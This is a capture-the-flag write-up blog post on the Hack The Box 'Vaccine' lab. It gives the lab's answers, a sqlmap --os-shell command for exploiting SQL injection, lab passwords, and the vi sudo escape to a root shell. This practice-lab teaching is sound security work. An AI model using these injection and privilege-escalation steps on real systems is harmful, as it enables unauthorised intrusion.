Skip to main content
  1. Posts/

Vaccine

·318 words·2 mins·
Tier2 Starting Point HTB Very Easy
Victor Mwai
Author
Victor Mwai

Security Analyst || CTF player

Isaiah 6:8

Table of Contents

Introduction
#

Untitled.jpg

Task 1
#

Besides SSH and HTTP, what other service is hosted on this box?

image.png

FTP

Task 2
#

This service can be configured to allow login with any password for specific username. What is that username?

image.png

anonymous

Task 3
#

What is the name of the file downloaded over this service?

image.png

backup.zip

Task 4
#

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

image.png

As seen above we have been able to find the password for the zipped folder, now we can be able to unlock the folder in order to find the contents of the folder

zip2john

Task 5
#

What is the password for the admin user on the website?

image.png

image.png

qwerty789

Task 6
#

What option can be passed to sqlmap to try to get command execution via the sql injection?

image.png

—os-shell

we shall try to get a shell from the machine using sqlmap to get our foothold into the machine as shown below

image.png

sqlmap -url="http://[IP]/dashboard.php?search=new" -cookie="PHPSESSID=snduj64lg29ger6doubiqid824" --os-shell

and we have our foothold into the machine.

image.png

Task 7
#

What program can the postgres user run as root using sudo?

For this section we had to run the following command

sudo -l

but we are required to input password for the postgres user in order to get the output, hence I dug around and found the password in the file below.

/var/www/html/dashboard.php

password=P@s5w0rd!

Since now we have our password for the postgres user, we can login through ssh

image.png

vi

now we can look at gtfobins on how we can exploit vi to get a root shell

image.png

after logging in, we were able to get our user flag.

image.png

now to root the machine and pawn it, we had to exploit vi using this procedure form gtfobins.

vi
:set shell=/bin/sh
:shell

image.png

and we have pawned our machine.

Related

Oopsie
·1210 words·6 mins
Tier2 Starting Point HTB Very Easy
OOpsiez
Archetype
·573 words·3 mins
Tier2 Starting Point HTB Very Easy
Archetype Stuff
Unified
·1246 words·6 mins
Tier2 Starting Point HTB Very Easy
Unity is key